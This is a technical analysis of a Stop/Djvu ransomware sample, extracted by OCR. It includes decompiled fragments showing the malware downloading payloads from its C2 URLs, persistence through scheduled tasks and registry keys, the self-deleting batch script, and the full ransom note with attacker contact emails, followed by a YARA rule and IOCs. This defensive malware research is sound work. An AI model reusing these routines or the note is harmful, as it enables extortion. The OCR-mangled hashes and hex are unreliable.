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Stop/Djvu Ransomware Technical Analysis

TLP:CLEAN

1 Overview

1.1 Scope

File Name | 7d208dd86e75¢c9¢c5900a85b08efOb070.exe

MD5 7d208dd86e75¢c9¢c5900a85b08efOb070

SHA-1 79a453d4e5403307b54205094ded4e5ff0382c71

SHA256 4380c45fd46d1lab3cffe4d37cf3300710330a766b7700af86020a936cdd09cbe

File Name | stop.exe

MD5 74c7126ff188eb5f72fee4bbdebscfc23

SHA-1 c9545f039159ceb8413b2ca6d83b06dca86b5839

SHA256 adeb345ba0do60fecdb0823d0cb713c933900echb545025ec8cc3f442d844af24b

2 Executive Summary

Stop/Djvu ransomware is a malicious computer virus that aims to encrypt all files on
the system and make them inaccessible and it can use many different extensions
to mark encrypted filesThe malware also creates money-demanding notes in each
folder, naming them as _readme.txt.The cybercriminals demand paying a ransom
to them in exchange for data decryption tools.The ransom note contains two email
address that victims are instructed to contact within 72 hours to avoid the ransom
amount increasing from $490 to $980 for the decryption tools.t is emphasized that
the decryption of files is only possible with the purchase of decryption software and a
unique key.

The analyzed malware exhibits multiple functionalities. Upon execution, it loads
additional libraries, generates shellcode at runtime, and creates a self-copy. The
main payload is then injected, and a UUID is generated to use as the name of the
directory where the malware is copied. To decrypt relevant strings, the malware uses
XOR encryption with a hardcoded key and hashes the buffer containing the MAC
address using MD5. To achieve persistence, the ransomware employs the ITaskService
interface of the TaskScheduler COM object to create a scheduled task and creates a
mutex value. Once persistence is established, the malware proceeds to encrypt all files
on the system and communicates with its C2 server using WinINet functions.
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2.1 Background

Stop/Djvu is a family of ransomware that was first discovered in 2018.The malware
was originally designed to encrypt user files and demand a ransom payment for
their decryption. In 2019, a new variant of Stop/Djvu emerged that used a different
encryption algorithm, making it more difficult to decrypt files without paying the
ransom. Since then, new variants of the ransomware have continued to be released,
with the most recent versions using more advanced obfuscation techniques to evade
detection.

2.2 Target-Delivery

Stop/Djvu primarily targets individual users and small businesses running Windows
operating systems. The delivery method typically involves the use of software cracks
or illegal activation tools, which are often downloaded from torrent sites or other
untrustworthy sources. These cracks or activation tools are disguised as legitimate
software and can be bundled with Stop/Djvu ransomware, infecting the victim's
system upon installation. Another delivery method involves spam emails containing
malicious attachments, such as fake invoices or job offers, which when opened,
download and execute the ransomware.
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2.3 Behaviour Graph

icacls.exe

7d208dd26eT5coc5900a85b08ef0D070..exe 7d208ddE6e75cIc5900a85008f00070..ex2 3 I%
'Y
I > 7d208dd86e75c9c5900a85008ef0b070..exe
--Task

7d208dd86e75cIc5900a85008:f00070..exe
--Admin |sNotAutoStart IsNotTask

¢

Command and Control Server

Figure 1: Behaviour Graph
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3 Technical Analysis

When initially examining the malware, it is apparent that the .data section has been
packed.

Regions
Offset Size Entropy Status Mame
263962 not packed PE Header
0001 800 26320 not packed vection (0] text']
00019200 00002200 4.59722 not packed vection(1)[".rdata’]

00021400 00092600 7.99191 packed rection(2)['.data']

000b3a00 49856 not packed section(3)[".rsrc']

D00bTE00 Alded not packed vection(4)[".reloc']

Figure 2: Loaded First Stage

When checking the malware, it's important to point out that there are only two DLLs
imported:

Offset Marme Func, Count Bound? OriginalFirstThun  TimeDateStamp  Forwarder
200924 KERMEL32.dII 99 FALSE 21760 0 0
20038 WINHTTP.dII 1 FALSE 218F0 0 0

Figure 3: Entry Point

During the analysis of the binary, it was observed that there is a significant amount of
garbage code present in the file that is never executed.

call ds:GetStartupInfod

push offset szFile ; "bojoscboxufevitabanufu lodan”

push @ ; uSsizeStruct

lea eax, [ebp+Struct]

push eax 3 lpStruct

push offset szKey ; "dobacu vunubeficapixozeyorolezowodaw ja”...
push offset szSection ; "volozowepuyuyigckakifurizigucas sedinum™...

call ds:GetPrivateProftileStructa

Figure 4: Garbage binary codes
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After the malware has allocated and modified the memory page, it proceeds to execute
the newly created shellcode shown as below:

——e

P

]
]
]
]
]
]
]
]
]
]
]
]
]
]

i

~ FF25 B47BBDOO
8130 3801BEOD
v 75 33
8D35 S8BELFFFF
52
6A 00
FF15 34A04100
&6A 00
FF15 7CAQ04100

jmp dword ptr ds:[3D7B84]
4411000 cmp dword ptr ds:[8E0138],1144

jne tyros. 419388

lea edx,dword ptr ss:llebp-1EAS]

push edx
push 0O

call dword ptr ds: [<&GetCurrentDirector:

push

o
call dword ptr ds: [<&SetSystemTimex]

dword ptr ds:[tyros.008D7BES54]=00E4A020

L Text: 00419846 tyros.bin: $19846 #1BC46

&=/ Dump 1 4% Dump 2 &% Dump 3 &Yy Dump 4 L Dump 5 8 watch 1 Ix=] Locals ' Struct
Address | Hex ASCIT
ODE4A020|E8 01 00 00|00 C3 55 BB|EC 8D 45 C4(83 EC 3C 50(g....AU.1.EA.1<P
OOE4ADZ0|ES OD 00 00|00 8D 45 C4|50 ES 88 07|00 00 59 S59(&.....EAPE....¥Y
DOE4AD40|C9 C3 55 BE|EC 83 EC 38|52 56 57 BB|45 08 C6 O0|EAU.I.71BSVW.E.&.
ODE4AD50| 00 83 65 FC|0OO ES 00 00|00 OO0 58 89(45 FO 81 45|..ed.e....X.ED.E
OOE4ADGD | FO CB OF 00|00 BB 45 OB|BE 4D FO 89|48 04 BB 45 (BE....E..M3.H..E
ODE4AO7O|FO 83 CO 3D|8BB 4D 08 89|41 08 68 86|57 0D 00 68|Dd.A=.M..A.h.W..h
DDE4AO80| 88 4E OD OO|ES 1A 00 00|00 89 45 FB|68 FA 8B 34|.N..EB..... Eehu. 4
OOE4AD90| 00 68 8B 4E(0D 00 EB OB|00 00 00 89|45 CC E9 BS|.h.N..B..... Elép
DOE4ADAD| 0D 00 00 55|88 EC 53 56|57 51 64 FF|35 30 00 00|...U.715vWQdyso. .
OOE4AODBO| 00 58 8B 40(0C 8B 48 OC|8B 11 8B 41|30 GA 02 8B|.X.&..H....ADj..
OOE4ADCO| 7D OB 57 SO|ES SBE 00 00|00 BS CO 74|04 BB CA EB|}.wPB[....Ar..E&
DOE4AODO|E7 8B 41 18|50 8B 58 3C|03 C3 8B 58|78 58 50 03| g.A.P.X<. A XxXP.
DOE4AODEC|DS 8B 4B 1C|8B 53 20 8B|SB 24 03 C8|03 DO 032 D8(B.K..5 .[$.E.D.@
OOE4ADFD| BE 22 5B 50|03 FO 6A DL|FF 75 OC S56|ES 22 00 00 .zxp.ai.yu Ve, .
DOE4AL100| 00 85 CO 74|08 83 C2 04|83 C3 02 EB|E3 58 33 D2|..At..A..A,8ax3d
DOE4A110| 66 8B 13 C1|E2 02 03 CA|02 01 59 5F|S5E 5B 8B ES|f..A8..E..v_A[.
ODE4A120(|5D €2 08 00|55 8B EC 51|53 52 33 C9|33 DB 33 D2|JA..u.iqsr3E3030

Figure 5: Beginning of the shellcode

3.2 Retrieved Additional Functions

The binary retrieves some functions at runtime, most of which are commonly

used functions for malware. For

example,in these code snippet, the

CreateToolhelp32Snapshot() is used to capture the processes currently running.

FF56 28
8EFE
83FF FF

~ 75 OE

FF56 1C
B83F8 18

call dword ptr ds:[esi+za]
mov edi,eax

cmp edi,FFFFFFFF

jne F45806

a8l dword ptr ds:[esi+1C]
cmp eax, 18

edi:EntryPoint
edi:EntryPoint

>

dword ptr ds:[esi+28]=[0019CF80 <&CreateToolhelp32Snapshot>]=<kernel3z.

OOF457EE

CreateToolhelp325Snapshot>

U1 e Lt

[esp] 00000008 OODDO00S

[esp+4] 00000000 00000000

[esp+8] 00401B30 <tyros.EntryPoint> (00401B20)
[esp+C] 00401B90 <tyros.EntryPoint> (00401B30)
[esp+10] 00393000 00393000

Figure 6: Snapshot of the current process

BRANDEFENSE
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3.3 New Memory Allocation

After that, the malware allocates a new memory area via VirtualAlloc() to inject its main
payload later.

FF50 24 call dword ptr ds:[eax+24] 1: [esp] 00000000 00000000
00EC24D9 8945 F8 mov dword ptr ss:[ebp-8],eax 2: [esp+4] 0011A5A0 00L11AS5A0
00E024DC 8365 F4 00 and dword ptr ss:[febp-c],0 3: [esp+8] 00001000 00001000
O0EQZ24E0D 6a 00 ush 0 4: [esp+C] 00000040 00000040
00EQ24E2 8D45 F4 ea eax,dword ptr ss:[lebp-C] 5: [esp+10] 4870892A 4870892A
00EQ24ES5 50 push eax
00E024E6 FF75 F8 push dword ptr ss: [eb
00EQ24E9 8B45 08 mov eax,dword ptr s Febpw]
00EQ24EC 8B40 04 mov eax,dword ptr ds [eax+4] v
< >
dword ptr ds:[eax+24]=[0019CF7C <&virtualalloc>]=<kernel32.virtualalloc>
O0EO24D6

Figure 7: Memory allocation

3.4 Main Payload

After allocating memory, the malware injects the main payload, as shown below.

Address |Hex ASCII

01130000 |E& 2B 06 00|00 €3 CC CC|CC CC CC CC|CC C€C CC CC LATTITTTIEXTY
01130010 |55 BB EC B3 |EC OB 53 56|57 68 B6 57 |0D 00 &8 BE U 1 i.svwh.w. . h.
01130020 (4E 0D 00 EB|1A 00 00 00|89 45 FB 6B|FA BB 34 Q0D |N..é&..... Echid. 4.
01130030 |68 B8 4 OD|0O0 EB OB 00|00 00 B89 45(|FC ES BS 00| h.N..&..... Eliep.
01130040 |00 00 55 BB|EC 53 56 57 (51 64 FF 35|30 00 OO0 OO0|..U. 15qudy50
01130050 (58 8B 40 OC (8B 48 OC BB|11 8B 41 30|6A 02 BB 7D x @, .H. L ADj . }
01130060 (08 57 50 EE|(S5B OO0 00 00|85 cO 74 04 |BB CA EB EY .WPé[....AI..Eég
01130070 |86 41 18 50|88 58 3C 03|C3 BB 5B 78|58 50 03 DB A P X< B XXXP.O
01130080 (8B 4B 1C BB(53 20 BB 5B |24 03 C8 03 |/p0 O3 DE BB [$ E.D. 0.
01130090 (32 58 50 03 (FO 6A 01 FF |75 OC 56 ES|23 00 00 0O ZKP a VUL Ve#,
011300A0 |85 CO 74 OB |83 C2 04 B3|(C3 02 EB EZ |58 33 D2 6o i eaxaﬁf
01130080 (8B 13 C1 E2 (02 03 CA 03|01 59 5F SE|5B BB ES 5D ﬁa E. Y_ﬂ[ aj
DllEDDcD CcZ2 08B 00 55 |8BB EC 51 53|52 33 Cc9 33 |pB 33 D2 EB ﬁ..u.iq5@§§3036.

Figure 8: Loaded shellcode into memory

3.5 Create Process

After the malware gathers information from the system, such as startup, computer
name, username, and other relevant details, it creates a suspended state copy of itself
by calling CreateProcessA().
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#| 01000252 BB4E 30 mov_ecx,dword ptr ds:TeaX+30]
FFD1 call ecx

@) 010D0257 85C0O Test eax,eax

901000259 ~ 0OFB4 B5010000 je 1000414
68 00800000 push 8000
6A 00 push 0
BB55 EC mov edx,dword ptr ss:|[lebp-14[] [ebp-14]:"c:\\Usge tyros.bin"”
52 push edx edx:"C:\\Users yi us.bin”
8B45 08 mov eax,dword ptr ss:|lebp+E&]
BB4B 40 mov ecx,dword ptr ds:[eax+40]

) FFD1 Eall ecx
#|010D0272 6a 04 push 4

Figure 9: Creating new process

3.6 Resume Thread

Following that, the malware proceeds to resume the main thread of the suspended
process by utilizing the ResumeThread().

51 push ecx

8B55 08 mov edx,dword ptr ss:|[ebp+&]
8842 50 mov eax,dword ptr ds:[edx+50]
FFDO |call eax

884D DC mov ecx,dword ptr ss:[[ebp-24]
51 push ecx

8855 08 mov edx,dword ptr ss:|[febp+&]
8842 2C mov eax,dword ptr ds:[edx+2C]
FFDO gall eax

884D D8 mov ecx,dword ptr ss:|lebp-28]
ol push ecx

Figure 10: Resuming process

3.7 Privilege Escalation

The payload then runs in an elevated state, and launches itself with the following
parameters ““Admin IsNotAutoStart IsNotTask”.

BRANDEFENSE 9/26
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Memaory Environment Handles GPLU Comment
General Statistics Performance Threads Token Module:
File
Ty VA
& (UNVERIFIED)
Version: MN/A

Image file name:;

E_4380c45fd46d1&53cﬁe4d3?cf33t ]

B " Information

4330c45ra46a1ab3c 37ct33b0710330a706b 770023602029 360dd059che

—Admin IsMotAutoStart Ian:utTaskI

Figure 11: Running malicious process with -Admin parameter

3.8 Persistence

The malware uses the TaskScheduler COM object’s ITaskService interface to create a
scheduled task for persistence. It then copiesitself to the \AppData\Local directory and
utilizes the —Task parameter to create a scheduled task in Windows Task Scheduler.
After that,the malware also uses "icacls.exe" for change access control lists on files and
folders with "/deny" argument such as below:
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Memory Environment Handles GPL Comment
General Statistics Performance Threads Token Modules
File

g e

15§ (UNVERIFIED)

Version: MNfA

Image file name:

C:\users [ Aoooata\Local\92ab2873-a65-45a5ba2 | |

B | Information i

pData\Local\92ab2873-ea66-45a5-ba24-
—-Tas

Figure 12: Running malicious process with -Task parameter

Date: 6/23/2023 3:00:10.5105418 PM
Thread: G244
Class: Process
Operation: Process Start
Result: SUCCESS
Path:
Duration: 0.0000000
Parent PID: 3556
Command line: icacls "C:\Users-AppData\LUcaI\aachBED—Scc?—46bf—bf0c—585?f8b021Da" Jdeny *5-1-1-0:(01){CI){DE,DC)

Figure 13: Running icacls.exe with /deny argument

3.8.1 Create Mutex

Before the malware begins the encryption files, it creates a mutex named
“1D6FC66E-D1F3-422C-8A53-COBBCF3D900D". Additionally, creates hardcoding
a second mutex hamed “FBB4BCC6-05C7-4ADD-B67B-A98A697323C1"

BRANDEFENSE 11/26
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LAWURLY NUINDME T DY LESWITLLLEN y ) | ESpPTDosn | | EUp =0 | DTRCr

if ( byte 513234 )

1

¥

e

{

T

hobject = CreateMutexa(®, @, "{lD6FCG6E-DIF3-422C-8A53-CEBBCF3D9BEDL");
if ( GetLastError() == 183 )

1
result = CloseHandle(hObject);
hobject = @;
return result;

¥

vl = (woid (_ stdcall *)}(HANDLE))CloseHandle;
CloseHandle(hObject);
hobject = @;

1ze

dword_513238 = CresteMutexi(®, @, "{FBB4BCCE-85C7-4ADD-BE7B-A9BAGIT323C1}");
if ( GetLastError() == 183 )

i
result = CloseHandle(dword_513238);
dword 513238 = @;
return result;

¥

vl = (woid (_ stdcall *)}(HANDLE))CloseHandle;
CloseHandle (dword_513238);
dword 513238 = @;

Figure 14: Create Mutex

3.8.2 Modify Registry

he ransomware opens the "Run" registry key using the RegOpenKeyExW/() and the

HKEY_CURRENT_USER hive.Additionally, the malware attempts to set a value in the
registry called "SysHelper".

if ( !RegOpenkeyExW({HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion", @, @xF@@3Fu, &phkResult

*(_DWORD *)Data = @;

Type = 4;

cbData = 4;

if ( !RegQueryValueExW(phkResult, L"SysHelper™, @, &Type, Data, &chData) )

RegCloseKey(phkResult);
return @;

*{_DWORD *)Data = 1;
RegSetValueExW(phkResult, L"SysHelper”™, @, 4u, Data, 4u);
RegCloseKey(phkResult);

h

return 1;

Figure 15: RegOpenKeyExW
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3.8.3 Time Trigger

The ransomware sets the date and time using the "Trigger1" object.

iff 44 >= @ 8& (*(int (_ stdcall **)(int, int)){*(_DWORD *)v187 + 44))(v167, vie2) >= @ )
/45 = sub 4@B14@(&v118, (OLECHAR *)L"Triggerl");
LOBYTE({v113) = 12;

¥
5 2 *®yd5 @ @@

/38 = (%(int (_ stdeall *=)(int, BSTR))(*(_DWORD *)v107 + 36))(vi87, v47);
LOBYTE(v113) = 1;

sub_4@B1D@((int *)&v112);
if ( w49 »=8 )

1
V58 = sub_48B148(&v118, (OLECHAR *)L"2838-85-22Te3:8@:80");
LOBYTE(v113) = 13;
51 = *y5@;
1 w583
w52 = w51 ? *v51 : @;
53 = (*(int (  stdcall **)(int, BSTR))(*{ DWORD *)v1@7 + 68))(v1le7, ws2);

LOBYTE(v113) = 1;
/54 = v53;

Figure 16: Time Trigger

3.9 Creating UUID

The UuidCreate function is used to generate 16 random bytes. The process then
converts the UUID to a string using the UuidToStringW function. After that, the
malware creates a new directory based on the UUID.And malware copies itself in this

directory.
I - o-0:to Local922b2873-2a66-4525- ba24-cc99580b321a ~ | O O Search 92ab2873-eab6-45a5-...
Mame Date modified Type Size
(=] tyos.exe 5/3/2023 11:07 AM Application 757 KB

Figure 17: Malware copies itself in \AppData\Local path
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3.10 Creating COM Objects

Here, it can be observed that the malware utilizes COM objects. For instance, it uses
the ColnitializeSecurity() to change the security values for the process.

if ( CoInitialize(@) < @ )

1
B o= @y
goto LABEL_81;
}
CoInitializeSecurity(®, -1, @, @, 6u, 3u, @, B, @);
/04 = 75
LOWORD(Elock[@]) =

15 = B8;
sub  414698( (int)
LOBYTE(v113) = 1;
ppv = 83
if ( CoCreateInstance(&rclsid, @, 1lu, &riid, &ppv) < 8 )
goto LABEL_76;
va'iantInit(&:.a'g);

Block, &al, @, @xFFFFFFFF);

v88 = _mm_loadu_sil28((const _ ml28i *)&pvarg);
Var 1an+In1+(& 1);

v87 = _mm_loadu_sil28((const _ ml281i *)&v91);
va’lan+In1+(& 89);

w86 = _mm_loadu_sil28((ccns: _ ml28i *)&w39);

VariantInit(&va4);
LDBYTE(.--.) = 5;
- -:J""'J
=j& 831[32] = _mm_leadu_si128(&v53);
“Y&vE1[16] = _mm_loadu_sil28(&va7);
FywEl = _mm_ loadu _s1128(&vEE);
v18 = _mm_loadu 51128(( const _ ml281i *)8va4);
vll = ( {int (__ stdcall **})(L PJCIE, __int32,

_int32, _ int32,  int32, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, _DW

Figure 18: COM Objects used by Stop/Djvu Ransomware

3.11 Network Behavior

The malware performs a GET request which reveals details about the location of the IP
address below:

[ hxxps[]/fapi.2ip.ua/geo json |

BRANDEFENSE 14 /26
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The malware accomplishes this by utilizing the WinINet functions. First, the
InternetOpenW() is called, and then the response from the C2 server is read using the
InternetReadFile().

memset(Buffer, @, sizeof(Buffer));

v@ = InternetOpenW(L"Microsoft Internet Explorer™, @, @, @, 8);
w2l = 73

lpszUrl[4] = 8;

LOWORD( LpszUrl[@]) = @;
sub_415C18(L"https://api.2ip.ua/gec.json"™, 27};

VIl = B
vl = (const WCHAR *)1lpszUrl;
if (w2l »=18 )
vl = lpszUrl[e];
w2 = InternetOpenUrluW{ve, v1, @, @, @, 8);
if ( vz )
1

InternetReadFile(v2, Buffer, @x2808u, &dwNumberOfBytesRead);
InternetCloseHandle(v2);
InternetCloseHandle (va);

Figure 19: InternetReadFile

Further analysis,it performs a GET requests using InternetOpenUrlA().

| hxxp[]//znpst[Jtop/dl/build2.exe |

| hxxp[]//securebiz[]Jorg/files/1/build3.exe |

*( DWORD *)(v15 + 28) »= exléu )
= *(_DWORD *)vi15;
vl InternetOpenUrlA(vl2, (LPCSTR)w1S, w4l, w42, w43, wvid};
if ( w73 »= exle )
j__free(Block[®]);
w73 = 15;
Elock[4] = @;
LOBYTE (Block[@]) =
if { vie
&& (Buffer = @,
dwBufferLength = 4,
HttpQueryInfol(vls

15, @xzeeeesliu, &Buffer, &dwBufferLength, @},
Buffer < @x12C) )

Figure 20: GET Requests
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3.11.1 Generated Public Key

The malware creates a file named "bowsakkdestx.txt" which includes a Public Key, as
shown below:

.data:@es1A7C8 aBeginPublicKey: ; DATA XREF: sub_ 4197845410

.data: 8851 5 whinMain (x,x,x,x)+2C5%0 ..

.data:8a51 text "UTF-16LE™, "----- BEGIN PUBLIC KEY----- \AnMIIBIjANBgkqhkiGoweBAQ"
.data:@a51 text "UTF-16LE", 'EFAAODCAQBAMIIBCEKCAQEAUSTEFlgbtLAHOx1EYyo7a\\nSEQXSE"
.data: 8851 text "UTF-16LE", 'VCj\/a@leBfOlLplC\/dUPKprRIVTRRYnjtkCNSuBBniom' /GGy "
.data:@a5l text "UTF-16LE", '2R7dcZkBFEM\nFoYdHolgx1DzonNoGRFIFH126K9D N\ /HIELLY'
.data:8a51 text "UTF-16LE", 'OEKVSS7yPCWDLANT2c1TVGhDLL7\\n2NmDGdmBETLlc92j51ZKps"
.data:@as51A7 text "UTF-16LE", 'KgIk++xsdGveWeSuMagMEaSbidoorrufOnexdzyxXIA\\nFltac®
.data:eesl text "UTF-16LE"™, 'JCoc2A2tbl7Ur\/N2sp7ppeafCed¥T\/TIY¥PosfgVT3FuFUQVim'
.data:@a5l text "UTF-16LE", 'LFoxytPeOvi\nozAeLpTyyumQUTfgery2cC+tum+9X\/S+%/2ED2"
.data:8a51 text "UTF-16LE", 'iaRSSNnI3yelVSAChSmgVIBsNULg\\nkQIDAQAB\\n----- END °
.data:eBs1A7 text "UTF-16LE", 'PUBLIC KEY----- ",8

Figure 21: Generated RSA public key

Following that, the malware generates and stores the PersonallD in a file named
"PersonallD.txt".

Marne Date modified Type Size
D PersonallD.txt 55,2023 2:34 PM Text Document 1KB
| PersonallD.txt - Notepad — O X

File Edit Format Wiew Help
uFHWN7bjwCkIEeUg8IHISzLgrwudidH8XsPzHDt1

Figure 22: Created PersonallD.txt
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3.12 Check System Information

3.12.1 Adapter Information

Here, the malware uses the GetAdaptersinfo() to retrieve adapter information,
including the MAC address, on the localhost.

iF (vl
&& (GetAdaptersInfo(vl, &SizePointer) != 111
|| (free{wl), (vl = (struct IP ADAPTER_INFO *)malloc(SizePointer)) != 8)) )
if ( !GetAdaptersInfo(vl, &5izePointer) )
1
sprintf(

"X R e X2 Xe2 K",

rl->Address[@],

v1->Address[1],

r1-xAddress[2],

r1->Address[3],

r1->Address[4],

r1-xAddress[5]);
printf({"Address: %¥s, mac: ¥s\n", vl->IpAddresslList.IpAddress.String, v@);
printf{L"\n");

¥
free(vl);
return ve;

Figure 23: Getting Adapter Information

3.12.2 System Language

The malware compares the country-code elements in the system with a predefined
list of country codes including "RU" (Russia), "BY" (Belarus), "UA" (Ukraine), "AZ"
(Azerbaijan), "AM" (Armenia), "TJ" (Tajikistan), "KZ" (Kazakhstan), "KG" (Kyrgyzstan), and
"UZ" (Uzbekistan), "SY" (Syria).
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sub 413@318(Block, w25, @, vd);
9 = v26;

LB = @;

v28[@] = (int)"RU";
v28[1] = (int)"BY";
y28[2] = (int)"UA";
v28[3] = (int)™AL";
s21[@] = "AM";
p21[1] = "TI";
/21[2] = "KZ";
/21[3] = "KG";
/21[4] = "Uz";

s22 = sy,

Figure 24: Checking Country Codes

3.13 Decryption Strings

3.13.1 XOR Operation

The binary performs a lot of XOR operations in order to decrypt relevant strings with
0Ox80 key.

Text:
Text:
Text:
LText:
LText:
Jext:
LTdext:
LTdext:
LTdext:
LTdext:
LTdext:

ga4BEFCE
BR4BEFC2
BR4BEFCS
Ba4BEFCS
BR4BEFCA
BR4BEFCF
BadaEFDL
BadBaEFD2
Ba4BEFDL
BR4BEFDY
Ba48EFDA

mowv ecx, [ebx]

mowv ecx, [ecxtedx™4]
Hor byte ptr [ecx+eax], Beh
inc eax

cmp eax, 97h

jl short loc 4BEFCHE
inc edx

mow esi, edx

mo [ebpt+var 4], edx
cmp edx, [ebpt+arg_ @]
jl short loc 4BEF38

Figure 25: XOR Operation

3.14 Encryption Phase

After the initial setup and preparation, the malware proceeds with its main
functionality,which is to encrypt the victim'’s files.During the encryption process, the
malware renames the file by appending the .tisc extension to the original filename.

BRANDEFENSE
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Mame B Date modified Type

=| _readme.txt 6/23/2023 2:00 PM Text Document
| | 1.png.tisc 6/23/2023 2:00 PM TISC File

| | 2.png.tisc 6/23/2023 2:00 PM TISC File

| | documents.xls.t.tisc 6/23/2023 2:00 PM TISC File

| | Mew Text Document.bet.tisc 6/23/2023 2:00 PM TISC File

| | notetxt.tisc 6/23/2023 2:00 PM TISC File

Figure 26: Encrypted files

3.15 Ransomware Note

The ransom note generated by the Stop/Djvu variant,provides instructions for the
victim on how to recover their encrypted data. The note emphasizes the strength of
the encryption algorithm employed and declares that obtaining the decryption tool
and a unique key from the attackers is the only way to restore the files. It warns the
victim not to attempt to decrypt the files on their own, as this may result in permanent
data loss.

3.16 Detection Evasion

Finally, a batch file named "delself.bat" is created in the \AppData\Local\Temp directory.
After the malware completes all its activities on the system, the delself.bat file is
executed, leading to the deletion of the malware.
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j *_readmetxt - Motepad h O x

File Edit Format View Help
ATTENTION!

Don't worry, you can return all your files!

All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.
The only method of recovering files is to purchase decrypt tool and unique key for you.
This software will decrypt all your encrypted files.

What guarantees you have?

You can send one of your encrypted file from your PC and we decrypt it for free.

But we can decrypt only 1 file for free. File must not contain valuable information.
You can get and look video overview decrypt tool:

https://we.tl/t-1JwFK5rT39

Price of private key and decrypt software is $988.

Discount 58% available if you contact us first 72 hours, that's price for you is $49@.
Please note that you'll never restore your data without payment.

Check your e-mail "Spam” or "Junk" folder if you don't get answer more than 6 hours.

To get this software you need write on our e-mail:
manager@mailtemp.ch

Reserve e-mail address to contact us:
supporthelp@airmail.cc

Your personal ID:
B8336g5d743duFHWN7bjwCkIEelgBIHISzLgrwudidHBXsPzHDTL

Figure 27: Ransomware Note

GetModuleFileNameA(®, Filename, @xl@du);
GetShortPathNameA(Filename, Filename, @x184u);
EnvircnmentVariableA = GetEnvironmentVariableA("TEMP™, Buffer, ox184u};
IstrepyA(Stringl, EnvircnmentVariabled I= 8 2 Buffer : @);
lstrcatA(Stringl, ™\W\");

lstrecatA(Stringl, "delself.bat")};

lstrepyb(ve, “@echo offir\n:tryirindel \"");

1strcatA(ve, Filename);

IstrcatAfve, "\"\r\nif exist \""};

1strcatA(ve, Filename);

IstreatAfve, "\" goto try\r\n"};

Istrecatafve, "del \"");

lstrcatA{wve, Stringl);

Istrecatl(ve, "\"");

Figure 28: Delself.bat

Here is a code snippet from "delself.bat" shown as below:
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= delself bat E3 |

1 fecho off

2 ttry

3 del "C:\Users
= if exist C:\U=sers
5 del "C:‘\Users

goto try
AppData’\Local\Tempidelself.bat

Figure 29: Code Snippet of Delself.bat

4 Mitigation Recommendation

Here are some general mitigation recommendations to protect against ransomware
attacks:

- Regularly backup your data and ensure that backups are stored off-site and
offline.

- Keep all software, including operating systems, up-to-date with the latest
security patches.

- Consider implementing advanced security solutions, such as endpoint
detection and response, network segmentation, and security information and
event management (SIEM) systems to provide a multi-layered defense against
ransomware attacks.

Implementing these recormmendations can help minimize the risk of Stop/Djvu and
protect your organization from potential damage.
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5 Conclusion

In conclusion, Stop/Djvu ransomware employs sophisticated techniques such as
process injection and payload creation to infiltrate systems and encrypt files. By
appending the .tisc extension to encrypted files, it makes them inaccessible to
users. The ransomware also generates a ransom note, typically named "readme.txt,"
containing instructions on how victims can pay a ransom to obtain the decryption key.
Stop/Djvu ransomware poses a significant threat to individuals and organizations, as it
can cause data loss, financial losses, and disruption of normal operations.
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6 YARA Rule

rule detect_stop

{
meta:
description = "Detect Stop/Djvu Payload"
hash = "adeb345ba0d60fecdb0823d0cb713c933900ecb545025ec8cc3f442d844af24b"
strings:
$hex1 = {68 7?7 7?7 50 00 6A 00 6A 00 FF 15 7?7 C1 4C 00 A3 77 32 51 00}
$hex2 = {68 7?7 03 50 00 8D 85 7?7 7?7 FF FF}
$hex3 = {68 77 71 4D 00 68 77 07 46 00 E8 77 F8 00 00 83 C4 24 C3}
$hex4 = {66 89 46 28 83 T7TE 24 08 72 OB FF 76 10 E8 77 77 77 77}

condition:
all of them
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7 MITRE ATT&CK Threat Matrix

1. TAOO2 Execution
(a) T1053 Scheduled Task/Job
2. TAOOO3 Persistence
(a) T1547.001 Registry Run Keys/Startup Folder
3. TAOOO4 Privilege Escalation
(@) T1O55 Process Injection
4. TAOOOS Defense Evasion

(@) T1036 Masquerading
(b) T1497 Virtualization/Sandbox Evasion

5. TAOOO7 Discovery

(@) T1018 Remote System Discovery

(b) T1057 Process Discovery

(c) T1082 System Information Discovery
)

(d) T1083 File and Directory Discovery
6. TAOO11l Command and Control

(@) T1071 Application Layer Protocol
(b) T1095 Non-Application Layer Protocol
(c) T1573 Encrypted Channel

7. TAOO34 Impact

(a) T1486 Data Encrypted for Impact
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C2 Domains

\item

\item

securebiz[.]org

znpst [.]top

IP Addresses

\item
\item
\item
\item

\item

URLs

\item
\item
\item

\item

13.69.239.72:443
162.0.217.254:443
20.44.220.42:443
173.223.113.164:443
52.152.110.14:443

hxxp[:]//securebiz[.]org/fhsgtsspen6/get.php
hxxps[:]//api.2ip.ua/geo. json
hxxp[:]1//znpst[.]top/dl/build?2.exe
hxxp[:]1//securebiz[.]org/files/1/build3. exe

TLP:CLEAN
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